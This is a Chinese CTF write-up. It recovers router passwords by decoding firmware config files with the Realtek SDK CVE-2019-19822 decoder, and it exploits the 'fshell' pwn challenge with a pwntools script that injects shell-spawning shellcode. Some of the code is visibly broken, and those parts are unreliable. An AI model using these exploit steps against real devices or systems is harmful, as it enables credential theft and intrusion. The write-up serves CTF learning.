2024矩阵杯
IOT
special
binwalk -Me firmbware.bin
解包之后发现是乱码

没有什么东西,想到之前接触过几个cve联合的exp,也是得到密码之后,发出进攻,我们仅需要得到密码,也就是恢复损坏的文件,搜索相关资料得知,可以利用以下几个CVE-2019-19822、CVE-2019-19823、CVE-2019-19824、CVE-2019--19825
找到了对应的exp脚本
根据cve的exp步骤
//decode.c
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>
#define N 4096 /* size of ring buffer */
#define F 18 /* upper limit for match_length */
#define THRESHOLD 2 /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE unsigned short
#define NIL N /* index for root of binary search trees */
struct lzss_buffer {
unsigned char text_buf[N + F - 1];
LZSS_TYPE lson[N + 1];
LZSS_TYPE rson[N + 257];
LZSS_TYPE dad[N + 1];
};
static LZSS_TYPE match_position, match_length; /* of longest match. These are set by the InsertNode() procedure. */
static LZSS_TYPE *lson, *rson, *dad; /* left & right children & parents -- These constitute binary search trees. */
typedef struct compress_mib_header {
unsigned char signature[6];
unsigned short compRate;
unsigned int compLen;
} COMPRESS_MIB_HEADER_T;
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput) /* Just the reverse of Encode(). */
{
int i, j, k, r, c;
unsigned int flags;
unsigned int ulPos=0;
unsigned int ulExpLen=0;
if ((text_buf = malloc( N + F - 1 )) == 0) {
//fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__);
return 0;
}
for (i = 0; i < N - F; i++)
text_buf[i] = ' ';
r = N - F;
flags = 0;
while(1) {
if (((flags >>= 1) & 256) == 0) {
c = ucInput[ulPos++];
if (ulPos>inLen)
break;
flags = c | 0xff00; /* uses higher byte cleverly */
} /* to count eight */
if (flags & 1) {
c = ucInput[ulPos++];
if ( ulPos > inLen )
break;
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
} else {
i = ucInput[ulPos++];
if ( ulPos > inLen ) break;
j = ucInput[ulPos++];
if ( ulPos > inLen ) break;
i |= ((j & 0xf0) << 4);
j = (j & 0x0f) + THRESHOLD;
for (k = 0; k <= j; k++) {
c = text_buf[(i + k) & (N - 1)];
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
}
}
}
free(text_buf);
return ulExpLen;
}
void main(int argc, char**argv) {
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
char* filename = "config.dat";
COMPRESS_MIB_HEADER_T * header;
if (argc>2) {
printf("Wrong number of parameters!");
exit(1);
}
if (argc==2) {
filename=argv[1];
}
fd = open(filename, O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
header = (COMPRESS_MIB_HEADER_T*)addr;
printf("%u\n", be16toh(header->compRate));
printf("%u\n", be32toh(header->compLen));
printf("%u\n", sb.st_size);
unsigned char *expFile=NULL;
expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));
unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
printf("%u\n", expandLen);
printf("%.*s\n",100, expFile);
fwrite(expFile, 1, expandLen, stdout);
//flash_read_raw_mib("config.dat");
}
gcc -o decode decode.c
根据exp走,写一个遍历每个文件的shell脚本,直接遍历即可,就可以将passwd给提取出来
参考CVE-2019-19822-19825-exploit.sh
参考链接
https://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html
这个exp是执行攻击的,解密后得到账号密码,编写exp并发送请求,我们只需要前半段,解密后获得账号密码即可,直接梭哈
题目解包之后拿到了很多压缩包
decode.c
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>
#define N 4096 /* size of ring buffer */
#define F 18 /* upper limit for match_length */
#define THRESHOLD 2 /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE unsigned short
#define NIL N /* index for root of binary search trees */
struct lzss_buffer {
unsigned char text_buf[N + F - 1];
LZSS_TYPE lson[N + 1];
LZSS_TYPE rson[N + 257];
LZSS_TYPE dad[N + 1];
};
static LZSS_TYPE match_position, match_length; /* of longest match. These are set by the InsertNode() procedure. */
static LZSS_TYPE *lson, *rson, *dad; /* left & right children & parents -- These constitute binary search trees. */
typedef struct compress_mib_header {
unsigned char signature[6];
unsigned short compRate;
unsigned int compLen;
} COMPRESS_MIB_HEADER_T;
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput) /* Just the reverse of Encode(). */
{
int i, j, k, r, c;
unsigned int flags;
unsigned int ulPos=0;
unsigned int ulExpLen=0;
if ((text_buf = malloc( N + F - 1 )) == 0) {
//fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__);
return 0;
}
for (i = 0; i < N - F; i++)
text_buf[i] = ' ';
r = N - F;
flags = 0;
while(1) {
if (((flags >>= 1) & 256) == 0) {
c = ucInput[ulPos++];
if (ulPos>inLen)
break;
flags = c | 0xff00; /* uses higher byte cleverly */
} /* to count eight */
if (flags & 1) {
c = ucInput[ulPos++];
if ( ulPos > inLen )
break;
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
} else {
i = ucInput[ulPos++];
if ( ulPos > inLen ) break;
j = ucInput[ulPos++];
if ( ulPos > inLen ) break;
i |= ((j & 0xf0) << 4);
j = (j & 0x0f) + THRESHOLD;
for (k = 0; k <= j; k++) {
c = text_buf[(i + k) & (N - 1)];
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
}
}
}
free(text_buf);
return ulExpLen;
}
void main(int argc, char**argv) {
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
char* filename = "config.dat";
COMPRESS_MIB_HEADER_T * header;
if (argc>2) {
printf("Wrong number of parameters!");
exit(1);
}
if (argc==2) {
filename=argv[1];
}
fd = open(filename, O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
header = (COMPRESS_MIB_HEADER_T*)addr;
printf("%u\n", be16toh(header->compRate));
printf("%u\n", be32toh(header->compLen));
printf("%u\n", sb.st_size);
unsigned char *expFile=NULL;
expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));
unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
printf("%u\n", expandLen);
printf("%.*s\n",100, expFile);
fwrite(expFile, 1, expandLen, stdout);
//flash_read_raw_mib("config.dat");
}
gcc -o decode decode.c
之后在解包的路劲中执行遍历解密即可
#!/bin/bash
# 遍历当前目录及所有子目录的文件
find . -type f | while read file; do
# 打印当前处理的文件名
echo "Processing file: $file"
# 执行第一个命令
result1=$(./decode "$file" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
echo "Output of first command: $result1"
# 执行第二个命令
result2=$(./decode "$file" | xxd -p | tr -d '\n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)
echo "Output of second command: $result2"
done

然后进行md5加密就行了
PWN
fshell
1、登录功能,对输入内容进行凯撒密码变换,可以直接绕过

直接绕过就行了,他不是跟passwrd字符串进行比对,gdb动态调试即可得到,然后凯撒加密处理一下即可登录成功

2、功能3对我们的输入的数据进行处理,最后跳转到我们写入的地方执行,很明显的shellcode,但是shellcode进行了处理,需要我们提前构造好shellcode

3、跳转的0x8105300 flt_8105300,对此处进行搜索发现

登录成功之后,功能6会对我们输入shellcode的位置赋rwx
此题的浮点数的变换算法,也是这道题比较有趣的一个点
笔者花了挺长时间对此处数据处理,此处我们多花一点笔墨带着大家一起学习
v8 = 4;
for ( i = 0; i <= 21; ++i )
{
if ( !v7 )
break;
v7 = scanf("%d", (char)&v4);
v11 = (long double)v4 / (long double)a1;
v2 = v11;//v11是double类型,强转float
v5 = v2;
v9 = &v5;
if ( *((_BYTE *)&v5 + 3) <= 0x4Au )//处理完的第三个位置得大于0x4A
break;
v3 = v11;
flt_8105300[i] = v3;
}
1、我们输入的int数值会被当做long double进行除法操作,最后除完会强转为float类型,我们只需要提前按照要求乘回来,可以就可以构造写入我们的shellcode了,但是第三个位置得大于0x4a,挺多都被限制住了
int->double->float ->输出
我们需要写一个程序来提前处理我们要输入的shellcode
笔者的是gpt生成的
#include <stdio.h>
#include <stdint.h>
int main(){
int i;
float v11;
double v4;
while(1){
printf("Enter a hexadecimal value (or 0 to exit): ");
scanf("%x", &i);
if(i == 0){
break;
}
v4 = i;
v4 = v4 / 0x48;
v11 = v4;
printf("%x ==> ", i);
}
return 0;
}
随便生成一点0x5d5d5d5d进行验证
shellcode可控这个难题我们已经解决,接下来就是然后利用了,笔者用了最短shellcode进行尝试,但是都是因为程序逻辑中
if ( _((BYTE )&v5 + v8 - 1) <= 0x4Au )break;
第三个不得小于0x4a,而没有写入完整,但是我想到了pop的32为字节码,不禁让笔者想到2023羊城杯的一个pwn题也是用的一个手法,不断pop
我也观察到在login函数中有有一个栈溢出,但是没用,其实被下面的限制住了,但是我们是否可以不断pop,知道回到栈上我们可控的位置,我们可以在这里使用其他功能点提前布置内容,经过不断pop就可以到这个位置执行别的内容

我们先写满pop,看看能不能到最后的长度可以遇到别的指令或者我们所能遇到的东西
在功能三我们可以输入字符串,栈中的内容是我们可控的,因此我们可以提前在此处布置rop链子,这里不会受到浮点数处理的的影响
写满了pop,发现这个方法可行


整个函数看到了sys_read函数,具体思路就是劫持到这里,然后在此处写shellcode
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='i386',os='linux')
local = 2
if local == 1:
io = process([b"./ld.so", b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2:
io = process("./main")
elif local == 3:
io = remote('', )
def debug():
gdb.attach(io,'b main')
#gdb.attach(io,'b *$rebase (0x1764)')
sleep(1)
sa = lambda a,s:io.sendafter(a,s)
sla = lambda a,s:io.sendlineafter(a,s)
s = lambda a:io.send(a)
sl = lambda a:io.sendline(a)
ru = lambda s:io.recvuntil(s)
rc = lambda s:io.recv(s)
uu32 = lambda:u32(io.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64 = lambda:u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
ru('@@:')
sl('1')
ru('Enter username:')
sl('user')
ru('Enter password:')
sl('ozrrvnqc')
ru('@@:')
sl('6')
ru('@@:')
sl('2')
ru('Enter the offset: ')
sl('0x1')
ru('Enter a string to encrypt: ')
sstr = p32(0)*2+p32(0x8049CC0) + p32(0x8103ff4) + p32(0x804A1FD)+b'a'*12
sl(sstr)
#pop ebp
sl(str(0x3db1b12c))
sl(str(0x3db1b12c))
sl(str(0x3db1b12c))
#sl(str(0x3db1b12c))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
#sl(str(0x3dae965c))
#sl(str(0x3cd9b0e5))
# add ===>传参
sl(str(0x3dae965c))
sl(str(0x3cd9b0e5))
sl(str(0x3daa11dc))
#
sl(str(0x3dcef183))
gdb.attach(io)
pause()
sl(str(0x3e8a4240))
sla(0x1000)
shellcode = asm(shellcraft.sh())
sl(shellcode)
inter()
浙公网安备 33010602011771号